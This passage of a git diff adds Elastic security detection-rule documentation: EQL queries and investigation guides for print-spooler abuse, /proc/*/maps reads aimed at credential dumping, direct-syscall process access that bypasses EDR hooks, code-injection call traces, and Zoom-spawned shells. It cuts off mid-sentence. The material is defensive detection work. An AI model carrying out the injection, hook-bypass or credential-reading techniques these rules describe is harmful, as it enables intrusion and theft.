the alert timeframe. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of process executable and file conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Ensure that the machine has the latest security updates and is not running legacy Windows versions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : "spl" and + file.path : "?:\\Windows\\System32\\spool\\PRINTERS\\*" and + not process.name : ("spoolsv.exe", + "printfilterpipelinesvc.exe", + "PrintIsolationHost.exe", + "splwow64.exe", + "msiexec.exe", + "poqexec.exe", + "System") and + not user.id : "S-1-5-18" and + not process.executable : + ("?:\\Windows\\System32\\mmc.exe", + "\\Device\\Mup\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\mmc.exe", + "?:\\Windows\\System32\\printui.exe", + "?:\\Windows\\System32\\mstsc.exe", + "?:\\Windows\\System32\\spool\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\PROGRA~1\\*.exe", + "?:\\PROGRA~2\\*.exe", + "?:\\Windows\\System32\\rundll32.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-proc-maps-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-proc-maps-discovery.asciidoc new file mode 100644 index 0000000000..80b70c3e6c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-proc-maps-discovery.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-suspicious-proc-maps-discovery]] +=== Suspicious /proc/maps Discovery + +Monitors for /proc/*/maps file reads. The /proc/*/maps file in Linux provides a memory map for a specific process, detailing the memory segments, permissions, and what files are mapped to these segments. Attackers may read a process's memory map to identify memory addresses for code injection or process hijacking. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/arget13/DDexec + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Credential Access +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious /proc/maps Discovery* + + +In Linux environments, the `/proc/*/maps` files provide detailed memory mapping of processes, crucial for system diagnostics. However, adversaries exploit this by reading these files to pinpoint memory addresses for malicious activities like code injection. The detection rule identifies suspicious reads of these files by monitoring specific command executions, such as `cat` or `grep`, initiated from common shell environments, flagging potential reconnaissance attempts. + + +*Possible investigation steps* + + +- Review the process details, including the process name and arguments, to confirm if the access to /proc/*/maps was initiated by a legitimate user or application. Pay special attention to the process.name and process.args fields. +- Check the process.entry_leader.name to determine the shell environment from which the command was executed, and assess if this aligns with typical user behavior or known scripts. +- Investigate the user account associated with the process to determine if there are any signs of compromise or unusual activity, such as recent logins from unfamiliar IP addresses or changes in user permissions. +- Examine the parent process and any related child processes to understand the broader context of the command execution, looking for any signs of a script or automated task that might have triggered the alert. +- Correlate this event with other security alerts or logs from the same host or user to identify any patterns or sequences of suspicious activities that could indicate a larger attack or reconnaissance effort. + + +*False positive analysis* + + +- System diagnostics tools may read /proc/*/maps files as part of routine checks. Identify these tools and create exceptions for their processes to avoid unnecessary alerts. +- Developers and system administrators might manually inspect /proc/*/maps during debugging or performance tuning. Establish a list of known users and processes that perform these actions regularly and exclude them from triggering the rule. +- Automated scripts for monitoring or logging purposes could access /proc/*/maps files. Review these scripts and whitelist them if they are verified to be non-malicious. +- Security software might access these files as part of its scanning operations. Confirm the legitimacy of such software and add it to an exception list to prevent false positives. +- Consider the context of the process entry leader. If certain shell environments are used predominantly for legitimate administrative tasks, adjust the rule to reduce sensitivity for those specific environments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified as reading the `/proc/*/maps` files using commands like `cat` or `grep` from unauthorized shell environments. +- Conduct a memory analysis on the affected system to identify any injected code or unauthorized modifications in the process memory. +- Review and audit user accounts and permissions on the affected system to ensure that only authorized users have access to sensitive files and directories. +- Implement stricter access controls and monitoring on `/proc/*/maps` files to limit exposure and detect unauthorized access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Update and enhance endpoint detection and response (EDR) solutions to improve monitoring and alerting for similar suspicious activities in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("cat", "grep", "tail", "less", "more", "egrep", "fgrep", "awk") and process.args like "/proc/*/maps" and +not ( + ?process.parent.args in ("/usr/bin/finalrd", "/sbin/chkrootkit", "./uac", "/usr/sbin/chkrootkit") or + ?process.parent.executable in ("/usr/sbin/chkrootkit", "/sbin/chkrootkit") or + ?process.parent.name == "uac" or + ?process.parent.executable in ("/opt/secl/linux-ir-scripts-v3/thieves.sh", "/opt/traps/rpm-installer/setup.sh") or + ?process.working_directory like ("/opt/traps/deb-installer", "/opt/Tanium/TaniumClient/*") or + ?process.parent.executable like ("/home/*/sunlight/thieves.sh") or + (?process.parent.executable == "/usr/lib/systemd/systemd" and ?process.parent.command_line == "/sbin/init") or + ?process.group_leader.executable in ("/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent", "/opt/traps/bin/cytool") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-access-via-direct-system-call.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-access-via-direct-system-call.asciidoc new file mode 100644 index 0000000000..705ac786c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-access-via-direct-system-call.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-suspicious-process-access-via-direct-system-call]] +=== Suspicious Process Access via Direct System Call + +Identifies suspicious process access events from an unknown memory region. Endpoint security solutions usually hook userland Windows APIs in order to decide if the code that is being executed is malicious or not. It's possible to bypass hooked functions by writing malicious functions that call syscalls directly. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/SBousseaden/status/1278013896440324096 +* https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Process Access via Direct System Call* + + + +*Possible investigation steps* + + +- What did the Sysmon process-access event prove? + - Focus: `winlog.event_data.SourceImage`, `winlog.event_data.SourceProcessGUID`, `winlog.event_data.TargetImage`, `winlog.event_data.GrantedAccess`, and `winlog.event_data.CallTrace`. + - Implication: escalate when the call trace starts in UNKNOWN or unbacked memory before the Windows syscall layer and the source opens lsass.exe, a browser, or a security process with memory-read, memory-write, thread, duplicate-handle, or all-access rights; lower concern only when the same source-target-access pattern matches recognized EDR, anti-exploit, debugger, accessibility, anti-cheat, or browser instrumentation. +- Which source process instance made the access? + - Focus: recover the source process start on `host.id` using `process.entity_id`, or `winlog.event_data.SourceProcessGUID` plus `process.pid` and alert-time proximity as a weaker fallback; review `process.executable`, `process.hash.sha256`, PE metadata, and code signature. !{investigate{"description":"","label":"Events for the same source process on this host","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: hash, PE metadata, and signature fields are optional; if absent, keep disposition tied to source path, GUID/PID recovery, parent or command context, and target/access evidence rather than closing. + - Implication: escalate when the source is unsigned, recently dropped, user-writable, renamed, or mismatched to PE metadata; lower concern only when identity, signer or hash, path, and recovery context fit the same recognized security, debugger, accessibility, anti-cheat, or instrumentation workflow. +- Did launch and user context fit that workflow? + - Focus: recovered `process.command_line`, parent executable/command line, alert `user.id`, and session context. + - Hint: join `process.Ext.authentication_id` to `winlog.event_data.TargetLogonId` only when session origin changes severity; if absent, keep origin unresolved and rely on alert user plus recovered session context. + - Implication: escalate when Office, browsers, script hosts, archive tools, LOLBins, or remote-interactive sessions launch the accessor; lower concern when parent, command line, account, and session type fit the same recognized low-level tool. If process/session fields cannot be recovered, treat the gap as unresolved, not benign. +- Did the same source process create dumping, injection, or staging artifacts? + - Focus: same-source child starts and file events where `file.path` shows dump output, temp staging, payload drops, or renamed executable content. !{investigate{"description":"","label":"Child process starts from the source process","providers":[[{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"File events for the source process","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: use the transform when `process.entity_id` is present; otherwise repeat the `host.id` plus `process.pid` alert-time fallback from source recovery. + - Implication: escalate when the source writes dumps, stages payloads, or spawns tooling after access; missing process or file telemetry is unresolved, not benign. +- Did the same source process communicate after access? + - Focus: process-scoped DNS `dns.question.name` and connections to `destination.ip`. + - Hint: correlate DNS to destination IP only after matching the same recovered process, `host.id`, and surrounding time window. !{investigate{"description":"","label":"Network and DNS events for the source process","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the source reaches rare or misaligned destinations, connects directly to public IPs, or talks outbound after accessing a sensitive process; missing network telemetry is unresolved, not benign. +- If local evidence remains suspicious or unresolved, is there related activity for the same user, host, or source binary? + - Focus: related alerts for `user.id`, `host.id`, and recovered `process.hash.sha256` when available, especially process-access, dump-file, injection, credential-access, or persistence alerts. + - Hint: start with user-scoped alerts when the alert user is meaningful. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use host-scoped alerts when the source runs as a service identity or user context is sparse. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope only when local source, target, access, identity, or follow-on evidence remains suspicious or unresolved; expand containment and credential scoping when related alerts show the same access pattern beyond one process. +- Escalate unauthorized direct-syscall access to credential-bearing, browser, or security processes when source-target-access-call-trace, recovered identity, launch/session context, or follow-on evidence remain suspicious; close only when those categories bind to one recognized workflow with outside confirmation for any legitimacy gap; preserve and escalate mixed evidence or visibility gaps. + + +*False positive analysis* + + +- Security agents, anti-exploit tools, debuggers, accessibility tools, anti-cheat systems, browser or PDF instrumentation, backup, and virtualization tools can perform low-level process access. Confirm source executable, signer or hash history, parent workflow, target cohort, access mask, call-trace shape, user/session context, recurrence, and quiet follow-on telemetry all align with one exact product workflow; require owner, inventory, vendor, or change evidence for legitimacy gaps. Recurrence is only corroboration: require the same stable source identity, parent/session context, target cohort, access pattern, and lack of dump or staging artifacts for the same `host.id` and `user.id`. +- Build exceptions from the minimum confirmed pattern: recovered source executable or signer, recovered parent workflow, `winlog.event_data.TargetImage`, access-mask class, first-frame call-trace shape, and relevant `host.id` or `user.id` scope. Avoid exceptions on `winlog.event_data.GrantedAccess`, `winlog.event_data.CallTrace`, process name, or target image alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the source identity, launch/session context, source-target-access-call-trace tuple, target cohort, and evidence that confirmed the product workflow. Create an exception only for the exact recurring pattern. +- If suspicious but unconfirmed, preserve the alert record, Sysmon Event ID 10 details, source and target process GUIDs, call trace string, recovered process start, relevant authentication records, dump files, staged payloads, and network indicators before containment or cleanup. +- Apply reversible containment first: heightened monitoring, temporary outbound restrictions, or response-tool policy on the affected `host.id`. Escalate to host isolation or process suspension only when the target sensitivity, access rights, identity evidence, or follow-on artifacts indicate likely dumping, injection, or credential theft. +- If confirmed malicious, isolate the endpoint and suspend or terminate the recovered source process after recording its identity, command line, parent chain, source-target pair, access mask, call trace, staged files, and network indicators. If direct response is unavailable, hand off that evidence set to the team that can isolate the host or account. +- If the target process held credentials, browser secrets, or security-product context, scope related users, sessions, tokens, and hosts before credential resets or broad process termination so evidence and blast radius are not lost. +- Eradicate only the dump files, injectors, loaders, persistence artifacts, or staged payloads identified during the investigation, then remediate the launcher, delivery path, or exposed credential path that enabled the direct-syscall process access. +- Post-incident hardening: retain Sysmon Event ID 10 plus supporting process, file, network, and Windows Security telemetry, and document direct NtOpenProcess, unhooking, or call-stack-spoofing variants observed in the case for future detection review. + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-10-setup + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.code == "10" and + length(winlog.event_data.CallTrace) > 0 and + + /* Sysmon CallTrace starting with unknown memory module instead of ntdll which host Windows NT Syscalls */ + not winlog.event_data.CallTrace : + ("?:\\WINDOWS\\SYSTEM32\\ntdll.dll*", + "?:\\WINDOWS\\SysWOW64\\ntdll.dll*", + "?:\\Windows\\System32\\sysfer.dll*", + "?:\\Windows\\System32\\wow64cpu.dll*", + "?:\\WINDOWS\\System32\\wow64win.dll*", + "?:\\Windows\\System32\\win32u.dll*", + "?:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\*\\sysfer.dll*") and + + not winlog.event_data.TargetImage : + ("?:\\Program Files (x86)\\Malwarebytes Anti-Exploit\\mbae-svc.exe", + "?:\\Program Files\\Cisco\\AMP\\*\\sfc.exe", + "?:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\*\\msedgewebview2.exe", + "?:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\*\\AcroCEF.exe") and + + not (process.executable : ("?:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe", + "?:\\Program Files (x86)\\World of Warcraft\\_classic_\\WowClassic.exe") and + not winlog.event_data.TargetImage : "?:\\WINDOWS\\system32\\lsass.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-creation-calltrace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-creation-calltrace.asciidoc new file mode 100644 index 0000000000..e9b54e59b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-creation-calltrace.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-suspicious-process-creation-calltrace]] +=== Suspicious Process Creation CallTrace + +Identifies when a process is created and immediately accessed from an unknown memory code region and by the same parent process. This may indicate a code injection attempt. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Process Creation CallTrace* + + +Attackers may inject code into child processes' memory to hide their actual activity, evade detection mechanisms, and decrease discoverability during forensics. This rule looks for a spawned process by Microsoft Office, scripting, and command line applications, followed by a process access event for an unknown memory region by the parent process, which can indicate a code injection attempt. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Create a memory dump of the child process for analysis. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions (enable the Sysmon events used by this rule): +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-10-setup[Sysmon Event ID 10 - Process Access] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "windows" and event.code == "1" and + /* sysmon process creation */ + process.parent.name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe", "eqnedt32.exe", "fltldr.exe", + "mspub.exe", "msaccess.exe","cscript.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", + "mshta.exe", "wmic.exe", "cmstp.exe", "msxsl.exe") and + + /* noisy FP patterns */ + not (process.parent.name : "EXCEL.EXE" and process.executable : "?:\\Program Files\\Microsoft Office\\root\\Office*\\ADDINS\\*.exe") and + not (process.executable : "?:\\Windows\\splwow64.exe" and process.args in ("8192", "12288") and process.parent.name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe")) and + not (process.parent.name : "rundll32.exe" and process.parent.args : ("?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc", "--no-sandbox")) and + not (process.executable : + ("?:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\*\\msedgewebview2.exe", + "?:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe", + "?:\\Windows\\SysWOW64\\DWWIN.EXE") and + process.parent.name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe")) and + not (process.parent.name : "regsvr32.exe" and process.parent.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*")) + ] by process.parent.entity_id, process.entity_id + [process where host.os.type == "windows" and event.code == "10" and + /* Sysmon process access event from unknown module */ + winlog.event_data.CallTrace : "*UNKNOWN*"] by process.entity_id, winlog.event_data.TargetProcessGUID + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-execution-by-zoom.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-execution-by-zoom.asciidoc new file mode 100644 index 0000000000..03b67627ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-execution-by-zoom.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-34-suspicious-process-execution-by-zoom]] +=== Suspicious Process Execution by Zoom + +Identifies suspicious process execution associated with the Zoom desktop client on macOS and Linux. The rule detects shells, script interpreters, downloaders, and network utilities spawned by Zoom on either platform. On Linux, it also detects Zoom replacing its own process image with an executable outside the Zoom installation directory. These behaviors may indicate successful exploitation of a Zoom client vulnerability, including CVE-2026-53413. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://a.security/blog/asecurity-zoomsday +* https://www.zoom.com/en/trust/security-bulletin/zsb-26015/ +* https://www.securityweek.com/zoom-patches-zero-click-code-execution-vulnerability/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Elastic Defend +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Platform: Linux +* Platform: macOS +* Domain: SaaS +* Data Source: Zoom +* Vuln: CVE-2026-53413 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Process Execution by Zoom* + + +CVE-2026-53413 is a buffer overwrite in Zoom's annotation parser that can allow a meeting participant to execute code +on another participant's device. The published macOS exploit replaced the running `zoom.us` process image with Safari +using `execvp`. Other payloads may instead spawn a shell, interpreter, 